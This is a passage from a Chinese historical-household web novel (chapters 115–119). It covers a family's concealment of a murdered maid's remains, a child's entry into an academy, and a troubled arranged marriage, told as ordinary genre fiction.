于是她笑眯眯道:“白夫人不必挂怀,我与府上千金交好,本就是一份善缘,此番之事说来也是府上无辜,平白被牵累。还请夫人转告贵府老太太、老爷太太,我并非多事之人,有些话能说有些话不能说,我还是明白的;只盼着贵府能早日走出阴霾,年节也不远了,到时候咱们两家说说笑笑的,岂不美哉?” 白夫人顿觉松了口气:“可不就是这话么,夫人当真是说到了我的心坎里。” 跟聪明人打交道就是便宜,有些难以启齿的话,人家一点即通,根本无需多费口舌。 虞声笙话锋一转:“不过……府上这事儿,或许还没完。” 闻言,白夫人立马心揪紧了。 “案子已经在办了,疑凶也缉捕归案,还有……没完的么?” 虞声笙算过大学士府这桩案子,疑云重重,竟有几分与自己相关的迹象。 但凡经事,皆有缘法,她明白天道让她窥见彩云的尸首,就一定还有后话。 “敢问,那冤死的彩云姑娘的另一半尸首可找到了?” 第115章隐秘 说起这个,白夫人的俏脸又变了变,逐渐阴沉无奈。 她摇摇头:“说来也怪,任凭官府的人如何追查,这剩下的一半尸体就是不知所踪;那一日……在府里搜查了大半日,什么都没查出来。” 一面说一面惊魂未定,白夫人绞着帕子,“为此,我家老太太、老爷太太都愁得好几日无法安眠了。” 自家出了人命案子,谁又能置身事外? 虞声笙听后,又问:“不知从钱姨娘处搜到的毒药是什么毒药?” “我也不太清楚,只晓得是一种极为难得的毒药,很是罕见。”白夫人苦笑,“不瞒夫人,你我都是内宅妇人,哪里晓得这些个阴毒之物的来历。” “是啊,我只是不明白,既毒死了彩云,又为何还要损坏她的尸身,又将其藏进大学士府,若非贵府自己人,谁又能做到神不知鬼不觉呢?” 虞声笙看似无意间的一句感叹,却听得白夫人越发心头颤抖。 这话直切要害。 从威武将军府离开后,白夫人坐在马车里,久久无言。 丫鬟见她面色凝重,忙道:“奶奶快别多想了,将军夫人也不过是随口的一句话,您别忧神过重,反累着自己的身子。” 白夫人摇摇头:“别说了,赶紧回府是要紧。” 回了大学士府,她先去拜见婆母。 又与婆母一道去给老太太请安。 回话时,白夫人便说了今日去威武将军府一行的所见所闻。 听到最后,老太太与郭大太太对视一眼,心中似乎都有了一个怀疑对象。 “这事儿你办得不错,先回去歇着吧,你妹妹近日受了惊吓,你也去劝劝她;对了,这安神凝心的参汤枣茶你且带回去用一盏,晚上睡得好,别太累着了。” 老太太夸奖孙媳,语气尽是温和。 白夫人受用得紧,忙不迭地福了福离去。 屋子里只剩下老一辈的婆媳俩。 郭大太太神色凝重:“母亲与我想的是一样的?是同个人吧……” 老太太无不痛心:“除了她还有谁?当年的事情害得她疯疯傻傻,关了她这么多年了,没想到出事又与她有关!” 郭大太太深叹:“原先秋猎时的事情我还没放在心上,没想到这虞家养女还真有点本事……这要是牵扯出从前的麻烦可怎么好?母亲,要告知老爷么?” “瞒也瞒不住,跟他说一声吧。” “那……梧桐苑里的人,儿媳要怎么办?” “先放着便是,这个节骨眼上多一事不如少一事,外头风云不断,不知多少双眼睛盯着咱们呢,尤其是京兆尹府,横竖他们来查过,也看过梧桐苑,既然明面上没有留下把柄,咱们又何必多此一举。” 老太太有些担忧,“只是你要多费些心思,不可再让她出来了。” “是……” 郭大太太从婆母处出来,见天色已晚,便又安排厨房备下今晚的菜色。 忙完这些,她才领着几人直奔梧桐苑。 这里,本是郭家二房所在。 但已冷落萧条多年,院中杂草丛生,不见规整。 倒也不是府里怠慢,而是独居在这里的人根本不许旁人进入,更不许下人动院里的一切,包括那些恣意生长的花花草草。 唯有郭大太太才能进入这里。 推开了门,迎面一股灰尘的气息,呛得郭大太太忍不住用帕子掩了掩口鼻。 目光所到之处,一片感慨可怜。 正堂中央的一把椅子上,坐着一个蓬头垢面的女子。 她身上的衣裳已经不知多久没换了,沾了灰黄色的斑斑痕迹,瞧着就让人想吐;她盘腿坐在上头,两眼无神,口中哼唱着一首不成调的小曲。 郭大太太却听明白了,眉眼间有些触动。 “弟妹!”她忍着颤抖的喉咙,“你还认得我么?我是你大嫂子。” 妇人缓缓抬眼,终于把视线对焦在郭大太太的脸上:“嫂子,嫂子……你来了,你坐,快坐!远志还有七八日才能回来,他去送我兄嫂出京了,我今日刚收到他寄回的书信,他说沿边州县的糕饼不错,会给我带两份。” 妇人越说越开心,脸上洋溢着笑。 “啊对了,等他回来了,我肚子里的孩子也快要落地了。” “你说说……陛下什么时候不降旨,偏偏这个时候降旨!我要是这会子提前发动了,他不在我身边可怎么好?” 她抬手去摸自己的肚子。 可衣衫之下一片平坦,哪里有什么孩子? 郭大太太眼底的泪意一点点碎开,强忍住哽咽。 见她满脸茫然,眼中隐隐有错愕震惊。 郭大太太知晓不对,连忙岔开话题:“好弟妹,你说的是,那糕饼本就不错,还有个吉利的名字,叫什么八宝糕,你还记得么?与你的小字却一样,难为二弟他记在心里,要说二弟待弟妹的情意,放眼京中谁家又能比得过,当真羡煞旁人。” 妇人回过神来,一阵娇羞:“嫂子快别打趣我了。” “嫂子问你,前几日你可出去过没有?外头冷,嫂子怕你衣衫单薄,身边的丫鬟婆子又照顾不周,再冻着你了。”郭大太太进一步试探。 “不妨事的。”她笑道,“没那么冷,我从旁人身上借了两件衣服穿着了,但后来那衣服我不喜欢,我又给丢箱笼里了——嫂子别担心,我不冷。” 听到这儿,郭大太太只觉得心头毛毛的。 强撑笑容追问,对方告知了箱笼所在。 郭大太太这才进了里面。 在一个堆了灰的、不起眼的角落中,发现了一只中等大小的箱笼。 这箱笼极不起眼。 就搁在床脚后头,靠近净房处。 大约是实在不够大,根本藏不了什么人,所以上回来查的官差也没将其当回事,打开瞧见里头是破旧的衣衫,便没再细细检查。 可郭大太太眼尖,一下子就看出了那藏于深处,只露出一点点花纹的衣角是彩云所有。 心都跟着颤抖起来。 她命人将上头覆盖的衣服都拿走。 负责做这事儿的婆子刚清理干净,转头一见箱笼里的东西,当着郭大太太的面就吐了出来。 一屋子丫鬟奴仆惊慌失措。 只见那箱笼中塞着的一团,已经血肉模糊,看不清原样,几根手指翘在外头,触目惊心。 郭大太太心惊肉跳,险些晕过去。 她忙稳住局面,命人将这箱笼关上搬了出去。 随后,她也落荒而逃。 已经疯癫了的郭二太太还在她身后追问:“嫂子为何走了,嫂子、嫂子……” 郭大太太一出院门,扶着一棵树哇哇吐了个痛快,几乎将苦胆都吐了出来。 “今日之事,谁都不许说出去,谁要敢透露半个字,那就是不想再见明早的太阳!” 她狠狠擦了一把脸,满眼警告。 事情发现得快,处理得更快。 郭大人还未回府,郭大太太已经命人将箱笼送去庄子上一把火烧掉。 为保万无一失,她亲自跑了一趟。 在那一堆衣物中,她看见了那枚绣着洪字的荷包,顿时眼底微动,强撑着做出镇定模样,直到愤怒的火苗将一切吞噬,她才缓缓松了口气。 “葬了吧。”她摆摆手,只觉得满身疲惫。 第116章再作,亲娘老子也受不住 到了半夜,郭大太太才回到自己院中。 郭大人并未睡下,一直在等妻子归来。 见她回来,他亲手倒茶,又命人给妻子送来了炖得浓郁鲜香的肉汤,就着那软绵的饼,倒也吃得胃口大开。 天冷之时,用上这一口,果真能让人浑身都舒坦开来。 郭大太太本没什么胃口。 但见丈夫这般周到,也不忍拂了他的好意,便用了半盏。 这热乎乎的汤饼一进肚子,反而诱得她多吃了几口,人也渐渐缓过神来。 待填饱肚皮,郭大太太净手漱口后,才感叹:“今日可真是吓死我了……” “彩云确实是被毒死的,毒药也是那贱人屋子里的,这点确定无误,但……”郭大人迟疑道,“咱们谁也没料到彩云的半边尸身竟是被、被……” “想来是她偷溜出去,刚巧撞见了那贱人的行径,可惜她疯疯傻傻,分不清好赖,竟将彩云的尸身又拖了回来,还、还毁成那样!” 郭大太太回想起今日所见一幕幕,还是心惊肉跳。 “老爷,咱们就不能把她送去庄子上么?这样一直留在咱们府里,总归是个祸害!” “从前也不是没有送她去过,结果呢?” 郭大人负手,焦躁不安地在屋中来回踱着步子,“后来闹得庄子上险些出事,你也知晓她身份尴尬,总不能眼睁睁看着她去死吧?她与二弟那般情深,结果二弟却在送她兄嫂远行上任的路上遭遇了意外!你叫她如何能承受得住?” 郭大太太也说不出话来。 夫妇二人相顾无言。 多年前,二房夫妻可是人人艳羡的神仙眷侣。 弟妹虽出身不高,但却有个出类拔萃又金榜题名的兄长。 且她本人也蕙质兰心、饱读诗书,甚是优秀。 当时的郭老太爷还在,原给儿子张罗婚事时,确实也有些不满意洪家女,嫌她家家底薄了些,可一见那风采卓然的洪修,再一见钟灵毓秀的洪家姑娘,便再也说不出个不字。 人品贵重,才华横溢。 加上洪修又很得陛下的青睐。 假以时日,定能入阁,成为陛下的左膀右臂。 最要紧的一点,郭家次子很是钟情这位洪姑娘。 二人成婚后,琴瑟和鸣,缱绻非常。 任谁见了不叹一句羡慕? 郭家二郎会为了让孕中的妻子安心,专程去送舅兄夫妻,会时时刻刻将妻子记挂在心尖,就连瞅见与妻子小字一样的糕饼,都会驻足留神,要带回来与妻子一道分享。 真应验了那句老话,情深不寿。 洪修两口子没能活下来,就连郭家二郎也惨遭意外。 郭大太太至今都想不明白,为何深谙水性的二弟会溺死在一条小河里…… 闭了闭眼睛,她回神叹息:“往后我会对梧桐苑严加看管,绝不会叫弟妹再偷跑出去。” “你多费点心,若二弟还好端端的,弟妹也不会这个样子。” 就是这般疯癫,大学士府藏了她许多年,哪怕知晓虞声笙是她的亲侄女,也不敢叫二人相见。 虞声笙既归了虞府,又被虞正德收为养女,他们也松了口气。 这桩闹得沸沸扬扬的案子也总有消停的一日。 罪魁祸首缉拿归案,该偿命偿命。 大学士府有自己的苦衷,另一边的太书令徐府,一样也有说不出口的烦心事。 在徐心敏的坚持下,双方开始过六礼。 没法子,徐大太太再狠心,也不能见执拗的小女儿去寻死。 到底是被他们夫妇捧在掌心里疼宠了十几年的宝贝疙瘩。 大不了婚后他们再给女儿撑腰就是了。 为此,徐大太太没少为小女儿的嫁妆费心。 除了衣服布匹、首饰钗环之外,还额外给了很多银票,以及田庄铺子。 徐诗敏回娘家瞧过几次。 一开始徐大太太还遮遮掩掩的,生怕她察觉。 可置办嫁妆这种事情如何能瞒得住。 就算徐大太太口风严,也架不住小女儿不稳重,向来与姐姐争抢惯了的,她哪里能忍得住? 是以,徐诗敏又一次回娘家帮忙时,徐心敏还是得意洋洋地跟姐姐说了。 一听到母亲替妹妹筹备的嫁妆之数远在自己之上,徐诗敏心底的憋屈愤怒彻底崩了。 再瞧瞧妹妹那嚣张的嘴脸,她越发暗恨。 但她到底耐得住性子。 千万情绪在胸怀中激荡半晌,徐诗敏淡淡笑道:“那可真是恭喜妹妹了。” 就这样? 徐心敏诧异地瞪圆了眼睛:“母亲疼我远胜于姐姐,姐姐就算吃醋嫉妒也改不了。” “妹妹说笑了,我怎会吃醋嫉妒妹妹呢?婚嫁乃人生大事,妹妹你所嫁之人又比不上你姐夫,母亲替你多操心些也是应该的。” 徐诗敏笑得越发温婉和气。 像极了一位真的体贴妹妹的大姐姐。 徐心敏哪里不明白她的言下之意,当即就气红了眼睛。 是了,石少爷如何能与慕淮安比? 徐诗敏的嫁妆比不上妹妹,但所嫁的夫婿却要比她的强多了。 丢下这话,徐诗敏拔腿就走。 当晚,徐心敏又在府里闹腾了一场,哭得徐大太太怒火中烧。 “你仔细看看这些,已经不少了,你还想要什么?难不成要我与你爹的棺材本才行么?” 即便徐大太太再怎么宠爱徐心敏,这会儿也耐不住了。 徐心敏偏偏不依,口口声声哭诉,只说姐姐埋汰她、羞辱她。 “姐姐说芠郎不如姐夫!这叫我如何能咽的下这口气?” “她又没说错。” 徐大太太脱口而出。 徐心敏惊呆了,瞪圆了眼睛,泪水如断了线的珠子似的滚滚落下。 母亲何曾这样对自己说过话,一时间她无法接受。 徐大太太已经为小女儿的婚事操心到爆炸的边缘,这一句戳破了母女往日的温馨,她索性破罐子破摔,又道:“我与你爹都瞧不上这姓石的儿郎,偏你喜欢的不行,不随你愿,你便要死要活;行行行,你嫁就是了,给你备的嫁妆本就远胜你姐姐,但就这么多了,要更多的没有!谁让你给自己挑了这么个姑爷!” 一口气说完,徐大太太只觉得出了口浊气,人也舒坦了不少。 横竖嫁妆就这么多。 再给多了,别说出嫁的女儿有意见,儿子儿媳也会不痛快。 这一次任凭徐心敏怎么闹,夫妻俩都没松口。 另一头的赵夫人也想着能尽快把婚事办了,给儿子娶一房妻室回来,好压一压儿子那浪荡不安的性子,于是热情如火地又与对方商议好了婚期。 此时,虞声笙的名声渐渐传了出去。 先是秋猎找回小皇子,又替昌夫人寻回了丢失多年的女儿,紧接着又是郭老太太对她赞不绝口——大家都知晓,威武将军府的夫人有一手卜算的绝技,叹为天人。 赵夫人寻上门去。 与上一回来时的态度截然不同。 这一次,她笑面迎人,言语间还带了几分软和。 听完她的来意,虞声笙笑道:“这有何难,请一请新人的八字,再请夫人备上一个吉利数的酬金即可。” 虞声笙并未说具体的金额。 赵夫人一琢磨,索性封了一只厚实的红包。 里头装着两张银票。 第117章进学 一张一百,一张八十。 加起来一百八十两,挺吉利的。 虞声笙也不在意,得了自己所说的东西,便痛快地给赵夫人一个吉日吉时。 赵夫人喜不自禁,自觉与虞声笙已经化干戈为玉帛,言语间多有亲和之态,见虞声笙始终乖巧和顺,她甚至有种错觉——之前那样的将军夫人定然不是她真实的样子,还是这般软糯好说话,看起来更顺眼。 赵夫人一走。 虞声笙便将那一百八十两化成了碎银子铜板,让金猫儿与今瑶二人拿去施舍给城里的粥棚,也给那些穷苦百姓添些米粮。 金瓜不解:“那赵夫人也是来寻咱们夫人帮忙的,怎就出手这般寒碜?” 一旁的今巧笑道:“这有什么不明白的,大约是赵夫人觉得与咱们将军府关系匪浅呗!这银子给多了,难免落下一个讨好谄媚的印象,她还是咱们夫人的长辈,面子还是要的;可要不给银子,这又说不过去,京里头谁家高门府邸办亲事不使银子的?要讨这个便宜,也不看她面子上挂不挂得住。” 今巧一向话不多。 今儿一番话,说得几个丫鬟都啧啧称奇。 今朝抿嘴,咬住了线头麻利地扯断:“你们这就奇了,我先前与她一道轮值时,她说出来的话更骇人听闻呢,明明一个丫鬟,却能这般厉害!” 今巧脸蛋一红,忙错开身子:“我可什么都没说,不过是说了两句大实话罢了。” “难为你这样人品,又这般聪慧。”金猫儿感慨,“先前我还想着领你们一道,也能周全些个,如今瞧着你们一个个都灵巧得紧,我倒是省事了。” 金瓜嘻嘻一笑:“旁人都能图个轻省,唯独姐姐和今瑶姐姐却不能。” 是了,她们二人才是虞声笙身边第一心腹。 “我与今瑶到底年长些,往后你们顶上来,还怕没你们的用武之地么?” 这话一出,几个丫鬟相视一笑,各自都从彼此眼中看出了骄傲。 这会子,今瑶正将虞府送来的书信交给虞声笙。 澜麓书院那边总算有消息了。 虞正德要么不答应,既答应了,事情必定办得漂亮。 跟随书信一起送来的,还有虞正德的举荐信,上头一笔好字走笔龙蛇,铿锵有力,虞声笙见了都忍不住暗暗赞叹。 有了这举荐信,辉哥儿读书的事情便妥当了。 她立马去了一趟顺园,将这个好消息告知黎阳夫人。 黎阳夫人闻言,整张脸都松缓下来:“还不谢谢你婶母。” 辉哥儿忙上前,恭恭敬敬地问安感谢:“给婶母请安,为小侄读书一事,叫叔叔与婶母费心了。” 见辉哥儿小小年纪能应对如流,虞声笙也高兴。 难怪人家教书先生喜欢规矩守礼的孩子,她瞧见了也欢喜呀。 “如今天冷,又快到年节了,澜麓书院那边是说先上个一旬,统共十来日;一来,让咱们辉哥儿熟悉一下环境,也试试水;二来嘛,也叫辉哥儿明白如今书院的进度,等年节时好在家中用功补一补,免得落下太多。” 这法子也是虞正德想的。 不可谓不周到。 黎阳夫人听了,再没有不应的,越发高兴:“到底是读书人出身,亲家公就是比我等妇人更有远见。” 虞声笙也没跟她客气。 毕竟这是虞正德的老本行了。 深谙清流一派,虞正德算得上老油条了。 不但与那些个知名书院关系不错,日常走动的亲朋好友也多数都是功名在身,很多旁人无法知晓的内情门道,虞正德都了然于心。 说完了辉哥儿的读书安排,该说说人员筹备了。 大户人家的公子哥儿去读书,身边没有人跟着是不行的。 即便贡院、国子监这类的地方,那些个出身名门的读书人也都会带上书童小厮,能便宜许多。 澜麓书院比不得这两处规矩严,但也有相应的要求。 “辉哥儿年岁小,去了先启蒙,是以身边带上两个婆子,一个丫鬟,一个书童即可;每日出门前,我自会让门房备车马,好叫姑母你陪着一道。” “如此甚好。”黎阳夫人点点头。 “这书童的人选嘛……我的想法是略比辉哥儿年长些,做的事情也能多些,更能照拂一二。”虞声笙又道。 她刚刚所说的这几个随行奴仆里,真正能带入书院的,只有一个书童。 其他的婆子丫鬟,都得在外头候着。 辉哥儿年岁小,不能再找个比他更小的男孩子当书童。 黎阳夫人道:“我瞧素日里与辉哥儿一块玩耍的哥儿就不错,生得俊朗白净,眼睛也干净,就他吧。” 黎阳夫人说的是昀哥儿。 “可昀哥儿性子倔,还有点暴脾气……” “无妨。”她摆摆手,“正是要的他这份暴脾气!咱们初来乍到的,若无半点性子岂不是要让人家压了一头?就他了,若出了什么事,我出面料理便是。” 其实虞声笙也觉得昀哥儿最好。 只是黎阳夫人不点头,她也不好开这个口。 眼下皆大欢喜,虞声笙忙应了,又叫了昀哥儿来给黎阳夫人磕头谢恩。 昀哥儿听说自己也能进入书院,整张脸都在放光。 即便是书童,他也可以正大光明的旁听! 他捏紧掌心,结结实实给黎阳夫人行了个大礼。 “好了好了,都别这样客套了,我把辉哥儿交给你,在书院里头你就是威武将军府小少爷身边的人了,你可明白?”黎阳夫人干脆利落地点明。 “老夫人放心,小的知道该怎么做。”昀哥儿应下。 出了顺园,虞声笙又让人给昀哥儿安排两身出门穿的衣衫。 都是好料子,厚实绵软,还是低调淡雅的青灰色,越发衬得昀哥儿容貌不凡,倒不像是书童,更像是一府里的公子哥儿。 “多谢夫人。”昀哥儿扭扭捏捏道,“我穿先前的衣裳就行了,不必劳烦针线房的姐姐再重新给我另做。” “有道是人靠衣装马靠鞍,你跟在辉哥儿身边,也代表咱们府里的门面,怎能不穿戴得精神些?”虞声笙莞尔。 “是……”昀哥儿便不再拒绝。 又是两日筹备,这一天黎阳夫人亲自送孙子去澜麓书院。 虞声笙把他们一直送到了府门外,目送马车离去。 突然,有人扯了扯她的袖口。 低头一瞧,却是桂姐儿。 她大大的眼睛里流露着渴望与羡慕:“婶母,我什么时候也能跟哥哥一样去读书认字呢?” 其实桂姐儿也不是一个字都不识。 黎阳夫人多少给他们兄妹俩做了启蒙。 可澜麓书院没有女学。 桂姐儿也无法像辉哥儿那样出府进学。 对上孩子天真又期待的眸光,虞声笙心中一疼,紧紧牵着她的小手,半蹲下来与她平视:“咱们桂姐儿也想读书么?” “想。”小女孩认真地点点头。 “那好,咱们是金尊玉贵的女孩儿家,婶母到时候给你把教书先生请到府里来,桂姐儿说好不好?” 桂姐儿立马两眼放光,小鸡啄米似的拼命点头。 虞声笙不由得感慨——有上进心的小孩子真是难得呀,一样年岁的孩子,这会子都只顾着贪玩呢。 第118章好事呀好事 黎阳夫人将两个孩子教养得很好。 虞声笙很快认识到,自己可以跟姑母好好学习。 等来日自己有了孩子,教育起来就不会手忙脚乱了。 她向来如此,从不厌倦学习。 从管家理账到心算卜卦,每学一样,她都觉得内心踏实——有道是技多不压身嘛! 小豆丁头一天读书,早晨出门,到傍晚才回府。 闻昊渊早早回来,一家子团坐在桌旁用饭,边吃边听辉哥儿讲述今天一整天在书院的所见所闻。 “先生教的字我都会写,也会念!就是意思还不太能明白。但先生说了,今儿先会写就很好了,先生还留了功课,等会子用了饭我便要去写,明儿还得交上去呢。” “我们一起读书的,有十来个,我还不算最小的。” “那个比我更小的男孩子,连研墨都费劲,先生特许他的书童跟着,就坐在我后头。” 虞声笙也听得津津有味。 当听到说澜麓书院还开设了算科时,她忍不住道:“辉哥儿,你婶母我算科也很好的,不比书院里的教书先生差。” “当真?”辉哥儿来了精神,“我听那些人说了,澜麓书院里的先生们每一个都是有功名在身的,最差也是秀才,今儿给咱们教课的是举人。” “自然是真的,什么诗词文章我不懂,但算科一项我还是可以的,若你不信,回头你学到了只管拿来考我,婶母要是答不出来,就许你一样彩头做礼物,如何?” “好!!” 辉哥儿转脸又去看闻昊渊。 闻昊渊尽量让自己看起来笑得很温和。 甚至还抬手摸了摸小侄子的头发,他语气和缓:“你婶母说得自然都是真的,你可要好好学,将来与你婶母一样厉害。” 虞声笙正捧着饭碗,乍一听这话差点呛着。 哪有他这样夸人的…… 也不怕黎阳夫人心里有梗。 抬眼瞧了瞧,见黎阳夫人依旧笑容满面,辉哥儿也憧憬满满,她也便放下心来,甚至还腹诽:没错,跟我一样才好呢!你都不知晓你婶母我有多厉害! 威武将军府这头送了辉哥儿去读书,另一头闹得家宅不宁的徐心敏也终于等到了婚期。 年节之前,太书令府上办了一场热热闹闹的红事。 请柬自然也送到了威武将军府。 原本虞声笙不太想去的,想随便找个理由,再派人送一份贺礼就成。 没想到张氏也不愿去,特地派了荀妈妈过来跟虞声笙说一声,说是郑秋娥刚刚怀了孕,害喜得厉害,她不放心儿媳,便让虞声笙作为两府的代表出席太书令府上的婚宴。 虞声笙没法子,只好应下。 “大嫂子怀孕了?真是好消息,父亲母亲定然欢喜坏了;噢不,最最欢喜的应该是大哥哥,他是不是笑得嘴都合不拢了?”她笑着与荀妈妈说话。 荀妈妈福了福:“四姑奶奶当真福报之人,说什么准什么,可不快活坏了,这可是天大的喜事呢。” “如今大嫂子害喜难受,我不便回娘家看望,若累得大嫂子更不舒服岂不是我的错了……这样好了,妈妈帮我带份礼给大嫂子,贺她有孕之喜,等来日瓜熟蒂落,我再亲自去瞧她。” “多谢四姑奶奶费心想着。” 虞声笙让荀妈妈带回去的礼物其实也很简单。 不过是一把如意对锁,两副多子多福的书画,另有一小坛子腌菜。 这是虞声笙亲手做的。 是她在乡野时最爱的味儿。 从前也是见那些有孕的妇人吃的,酸脆爽辣,很是开胃。 原本她想口头指点厨房的人来做,可她们总也不得精髓,失败了几次后,虞声笙决定还是自己动手。 统共得了三坛子,给了黎阳夫人一份,他们夫妇俩留一份。 闻昊渊可喜欢这味儿了,说是极其下饭,恨不得顿顿都有。 得知虞声笙送了一份给娘家大嫂,他颇有些郁闷。 见男人眉心沉沉,虞声笙没法子,只好哄他:“这还不算最好吃的呢,等来年春天,天和气暖的时候,采了最鲜嫩的果实根茎来给你做,那才叫一个味美,到时候就咱们吃,连姑母都不给。” 闻昊渊高兴了,憨憨笑得很直白:“无妨,咱们留下一大半,给姑母一小半;要做什么你只管指派我,别累着你就行。” 虞声笙哭笑不得。 她算是看出来了,闻昊渊对她的依赖越来越重。 许是孤苦无依多年的缘故,乍一成婚,他身边多了一个可以相偎相亲之人,他反而更容易将自己孩子气的那面暴露。 郑秋娥吐得天昏地暗。 听荀妈妈回话后,她不由得暗暗庆幸。 庆幸自己这位小姑子是个识趣懂礼之人。 若这会子人家非要来拜访,她作为虞府大少奶奶,不露面是不可能的。 可如今她难受得紧,躺在榻上连地都下不了,吐得那叫一个头晕眼花。 大夫开了汤药,才吃下去不到半个时辰,又全都吐干净了。 也难怪张氏没心气去参加太书令府上的酒席了。 见虞声笙送来了腌菜,一开始郑秋娥没当回事,可当婆子把腌菜与其他几样小菜并细粥一道送至她跟前时,她略尝了一小口,顿觉胸口的闷气被那股子酸辣冲开,不知不觉竟用了一小碗细粥,并且半点没有恶心难受。 “吃得下就好。”陪嫁的奶母嬷嬷高兴得都要哭了,“大奶奶能吃得下,老奴就放心了。” 郑秋娥自己也松了口气,擦了擦嘴角:“是我浅薄了,还道这是寻常小菜,竟不想我这四妹妹还有这般好手艺。” 虞开嵘见状,一颗悬着的心也渐渐安下:“那咱们可要多谢四妹妹了。” 再瞧瞧虞声笙送来的贺礼,郑秋娥越发眉眼柔软:“咱们一家子骨肉,谢是肯定要谢的,但不能这样直白,反倒让四妹妹觉得客套生疏了,待我好些个,我亲自来筹备这份厚礼。” “你别操持太重,如今身子要紧。”虞开嵘替妻子揉着后背,“四妹妹是自家人,必不会计较这些的。” “好。”郑秋娥红了脸,心中自是甜蜜缱绻,只觉得幸福满足。 太书令府上的喜宴结束后的翌日,郭文惜不请自来。 她来得匆忙,甚至连拜帖都来不及下。 虞声笙刚刚歇了个午觉起身,就听丫鬟传话,说郭小姐已经到府门外了。 金猫儿反应最快,立马取了外头罩着的织金簇花的蓝色薄袄给虞声笙换上,另一旁的今瑶则取了暖手炉塞给虞声笙。 刚做完这些,郭文惜的声音已经到了廊下。 “我与声笙什么交情,不需这些个俗礼!”她快人快语,正说着就一打门帘进来了, 瞧见虞声笙坐在暖榻上,她踩着金红的羊皮小靴三步并做两步,“你还不知道吧,昨个儿徐府的喜宴差点砸了!一个天大的笑话!我特地来告诉你的!!” “什么笑话?” “呵,你万万没想到,那与石芠相好的丫鬟竟跟着混进了徐府里,还闹到了那位徐小姐的闺房中!哎呀呀,你可不知道,可精彩了……” 虞声笙一阵错愕:“还有这事?等等,那与石芠相好的丫鬟不是已经死了么?” 第119章一波三折的亲事 “谁说他只能有一个相好的丫鬟了?”郭文惜一语道破,“人家石府里多少年轻貌美的丫头呢,他既能馋第一个,就有第二个第三个。” 她冷哼一声,“我娘说了,一开始就这样拿不住,也是个性子软糯,贪图风花雪月的,根本立不起来,我瞧徐家这位小姐往后可要有过不完的苦日子喽。” 郭大太太这话还真没错。 虞声笙都忍不住赞同。 “那后来呢?她闹了一番,徐家就没说什么吗?” “那徐心敏当场就不愿嫁了,哭着闹着不肯上花轿。”郭文惜叹道,“可宾客齐至,先前又为了这桩婚事闹出多少故事来,太书令府上哪里丢得起这个人?” 这倒是…… 虞声笙唏嘘不已:“可要是婚前就察觉到不对,能不嫁就不嫁的好,总比赔上女儿的终身要强啊。” 郭文惜从未听过这样的言论说辞,一时间惊呆了。 反反复复咀嚼着虞声笙这话,她恍然大悟:“你说得也对,可……徐大太太还是硬逼着徐心敏上了花轿。” 她学着徐大太太的语气,“给你前前后后置办了多少嫁妆,劝了你多少良言你都不听,这会子箭在弦上你说不要嫁了,我与你老子都还没死呢,你就这般作践我们,今日你不嫁也得嫁!!” 据郭文惜说,当时那丫鬟冲进去时,她母亲就察觉到不对,紧跟在后头,才将这桩丑事压在了内宅之中。 可郭大太太出手了,徐大太太就不好当面撵人。 是以,郭府母女包括儿媳都近距离看了一场别开生面的好戏。 徐大太太被气得不轻,面若金纸,手都在抖。 关键时刻,这位执掌中馈多年的当家主母还是展现出了非同一般的魄力。 她直接命身边的妈妈上前压住徐心敏,利落地给她净面梳妆,盖上盖头送入花轿。 虞声笙奇了:“徐家千金怕是个骄纵的性子,会这样轻易妥协?” “自然不能。” 郭文惜咬唇,迟疑片刻,“那丫鬟叫徐大太太当场打死了。” 虞声笙心头一紧,莫名的悲凉席卷全身。 看见没有,这个世道做错了事情女子首当其冲,明明是石芠的错,最后这丫鬟却送了性命。 要说她有多无辜,倒也没有。 白白送上门想坏了人家的好事,自然是要付出代价的。 可凭什么……石芠就能顺顺利利、风风光光继续做他的新郎官? 而那个与他花前月下的女孩子却魂归九泉。 见虞声笙久久无言,郭文惜也感叹:“反正大喜之日出了这档子事,谁心里都不痛快,新婚之夜却沾上了人命,横竖不吉利,晦气得很;我娘嫂子都说了,怕是徐家千金这桩婚事很难善终。” “可不是。”虞声笙无奈地扯了扯嘴角。 别的不说,就说石芠那个心爱的丫鬟没活着离开徐府,怕这笔账要记在徐心敏的头上。 正如虞声笙预料的那样,昨个儿新婚之夜,本该甜蜜缱绻的新婚夫妻几乎是对坐着瞪眼到天明。 徐大太太大约是气狠了。 待他们这头拜堂送入洞房后,便差遣下人将那丫鬟的尸身送回了石府。 好在徐大太太还是明白不能招人耳目的道理。 尸身是从偏门悄悄送进去的,一直送到了赵夫人的院中。 赵夫人本来喜气洋洋,回到院中一见这副架势,险些没当场晕厥过去。 再细细一问,得知是负责看管这丫鬟的婆子今日贪杯,多灌了两杯黄汤,便醉得呼呼大睡,这才让这丫鬟得了机会跑出去。 这丫鬟也是心急了些,以为太太这样对自己,怕是永无出头之日,便一不做二不休,先是乔装打扮,后又大闹徐府内宅,端的是有手段有能耐更有勇气的。 换成赵夫人自己,也不会留这样一个人在枕榻边。 但……徐大太太这手笔,实在是太打脸了。 石芠瞧见那美貌丫鬟的尸身,更是心痛又愤怒。 这位读书没什么本事,风花雪月把戏一套接一套的富贵少爷在第一时间就找准了撒气目标——新婚妻子,徐心敏。 从前有多甜蜜恩爱,互诉衷肠,怎么看怎么顺眼,如今就有多厌恶多冷漠,恨不得竖起高墙,老死不相往来。 翌日,来收元帕的婆子都没登门。 看来阖府上下对这对新婚夫妇的关系很不看好。 听完了郭文惜的话,虞声笙感叹:“希望徐家小姐好好的吧,对女子来说,嫁人可是重要得很,要么不嫁,这嫁了必定要选一个人品能耐都好的男子才成。” “我娘嫂子也是这样说的。” 郭文惜越发坚定,往后要与徐诗敏姊妹俩保持距离。 就冲着这份大婚之日的晦气,她也不敢轻易靠近。 原本,虞声笙以为这桩婚事对自己来说不过是添了一桩茶余饭后的谈资,不会有什么牵扯影响。 但很快,登门的赵夫人就改变了她的想法。 两盏清茶袅袅起云烟,淡雅的茶香轻轻弥漫。 在这温暖的前厅里,显得格外沁人心脾。 赵夫人却没有这般好的闲情逸致品茶,略坐了坐就表明来意。 虞声笙听后,脸都黑了一半:“夫人这话我不太明白,您是说……府上自从大婚后就不太平?闹鬼?” “实不相瞒,我拿你当自家晚辈,有些话不得不说了……虽说家丑不可外扬,但也要看什么情况。”赵夫人拿着帕子擦了擦眼角,“这会子我府里已经是闹得不可开交。” 接下来她的几句话就让虞声笙不爱听了。 话里话外表达的意思都是她花了一百八十两重金求来的吉日吉时压根没用,不但半点不吉利,甚至还遭了大罪。 赵夫人没有明着说,但这意思已经表达得很明显。 虞声笙可不惯着。 她浅浅呷了一口茶,眼睛也不看赵夫人,弯起殷红的嘴角半讥半笑:“夫人可有听过一句话?” 